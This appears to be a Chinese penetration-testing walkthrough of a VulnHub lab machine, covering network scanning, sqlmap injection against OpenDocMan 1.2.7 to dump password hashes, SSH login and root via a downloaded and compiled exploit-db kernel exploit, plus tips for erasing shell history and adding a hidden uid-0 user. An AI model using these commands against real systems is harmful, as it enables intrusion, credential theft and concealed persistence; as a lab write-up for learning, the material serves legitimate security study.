Linux渗透测试

最近发现了一个不错的靶场,里面各种渗透测试的虚拟机,大家可以下载进行尝试学习。还有就是一个漏洞利用存档,可以找到很多我们可以利用的学习的东西。

靶场:

https://www.vulnhub.com

漏洞利用存档:

https://www.exploit-db.com

0x01 信息搜集

  • 首先就是确定我们靶机的目标IP nmap -sP -T5 192.168.0.1/24<!---more--->

通过前面的步骤,我们对目标进行具体的端口扫描以及操作系统识别,发现开启有80,22以及6667端口。 nmap -sV -p- -A -O -T4 192.168.0.170

  • 目录扫描 继续对目标进行敏感目录扫描,御剑等工具都可以。这里我使用KALI的nikto以及dirb命令进行简单的目录扫描。 nikto -host http://192.168.0.170或者dirb http://192.168.0.170

0x02 漏洞发现

访问IP之后的页面,发现并没有什么特别的地方,于是只能查看源代码,点击超链接进行查看。

在链接的地方竟然发现了秘密的地方,于是访问之

此处是一个登录界面,我们可以尝试注册一个用户进行登录,但只是一个游客的形式。

我们注册一个用户进行登录,还有有很多功能的,于是可以进行更多的尝试。

在下面发现OpenDocMan v1.2.7, OpenDocMan是一个功能完整的基于Web的文档管理系统(DMS),于是找找OpenDocMan v1.2.7所公布的一些可以利用的漏洞。

发现可以利用的好几个漏洞,于是先行尝试sql注入。

0x03 漏洞利用

经过简单的测试发现http://192.168.0.170/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user处确实注入。

于是直接拿出神器Sqlmap进行注入。 sqlmap.py -u "http://192.168.0.170/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user" -p add_value --dbs

经过常见的那几个命令我们可以成功的拿到登录名和密码。

sqlmap.py -u "http://192.168.0.170/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user" -p add_value -D jabcd0cs --tables
sqlmap.py -u "http://192.168.0.170/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user" -p add_value -D jabcd0cs -T odm_admin --columns

发现admin表里面没有信息,只能从user表里面提取信息。

sqlmap.py -u "http://192.168.0.170/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user" -p add_value -D jabcd0cs -T odm_user --columns`
sqlmap.py -u "http://192.168.0.170/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user" -p add_value -D jabcd0cs -T odm_user -C "username,password" --dump

我们可以看到已经获取到了数据库的用户名和密码,直接MD5解密就可以ssh登录服务器。

用户名webmin,密码b78aae356709f8c31118ea613980954b,明文为webmin

0x04 权限提升

经过前面端口扫描可以发现,22端口发放着,可以进行ssh连接。ssh webmin@192.168.0.170

     查看权限发现是普通用户的权限,所以得继续进行提权操作。获取到低权限SHELL后我们通常做下面几件事:

  • 检测操作系统的发行版本
  • 查看内核版本
  • 检测当前用户权限
  • 列举Suid文件
  • 查看已经安装的包,程序,运行的服务,过期版本的有可能有漏洞

lsb_release -a查看系统的发行版本

uname -a查看内核版本

我们可以看到此操作系统采用的是Ubuntu 14.04.4 LTS,内核版本是3.13.0-24-generic,首先想到的就是去漏洞库寻找有没有可以用的exploit。

下载漏洞exploit

wget https://www.exploit-db.com/download/37292mv 37292 shell.cgcc -o shell shell.c./shell

附Linux渗透小技巧:

  • bash去掉history记录 export HISTSIZE=0 export HISTFILE=/dev/null
  • Linux添加uid为0的用户 useradd -o -u 0 cnbird
  • 可以翻下 mysql_history .bash_history
  • ls -al 看下root目录下都有什么隐藏目录 例如 .ssh .vnc 等
  • 可以看下 .ssh/下面的ssh连接记录等,也可以看下全局变量文件什么的
  • 通过webshell反弹shell回来之后获取真正的ttyshell python -c 'import pty; pty.spawn("/bin/sh")'

原文发布于微信公众号 - 信安之路(xazlsec)

原文发表时间:2017-07-28

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏Java技术分享

关于RBAC(Role-Base Access Control)的理解

基于角色的访问控制(Role-Base Access Control) 有两种正在实践中使用的RBAC访问控制方式:隐式(模糊)的方式和显示(明确)的方式。 今...

2075
来自专栏奔跑的蛙牛技术博客

数据库编程

某些jdbc的jar文件自动注册为jar文件,不支持的话需要手动注册,可以在java程序注册,可以通过命令行注入

1073
来自专栏编程坑太多

Maven学习笔记四(坐标和依赖)

1344
来自专栏BeJavaGod

分布式系统的那些事儿(三) - 系统与系统之间的调用

系统与系统之间的调用通俗来讲,分为本地同一台服务器上的服务相互调用与远程服务调用,这个都可以称之为RPC通信。浅白点讲,客户访问服务器A,此时服务器要完成某个动...

3454
来自专栏偏前端工程师的驿站

Java魔法堂:以Windows服务的形式运行Java程序

一、前言                               由于防止维护人员误操作关闭Java控制台程序,因此决定将其改造为以Windows服务的形式...

2476
来自专栏BeJavaGod

手动搭建apache james邮件服务器,实现邮件功能

最近一直在搞邮件这块,本来我们邮件发送是用的腾讯免费的企业邮箱,邮件功能没有问题,但是由于邮件的限制,如下: ? 这些限制导致我们的部分客户是收不到邮件的,哪怕...

8373
来自专栏ios 技术积累

Maven 初识

才接触Maven的时候也是一头雾水,网上搜索了一些资料后感觉Maven和iOS开发中的cocoapods很像,cocoapods自动下载我们需要的开源类不需要手...

1413
来自专栏Java技术分享

关于RBAC(Role-Base Access Control)的理解

有两种正在实践中使用的RBAC访问控制方式:隐式(模糊)的方式和显示(明确)的方式。

2228
来自专栏微服务

微服务实践分享与探讨

服务调用关系 ? API网关优缺点 简化沟通方式 API网关对所有微服务提供单一的访问点 安全性 对客户端隐藏了服务发现和服务版本 阻止大规模攻击,包括S...

3417
来自专栏阮一峰的网络日志

Content Security Policy 入门教程

跨域脚本攻击 XSS 是最常见、危害最大的网页安全漏洞。 ? 为了防止它们,要采取很多编程措施,非常麻烦。很多人提出,能不能根本上解决问题,浏览器自动禁止外部注...

3225

扫码关注云+社区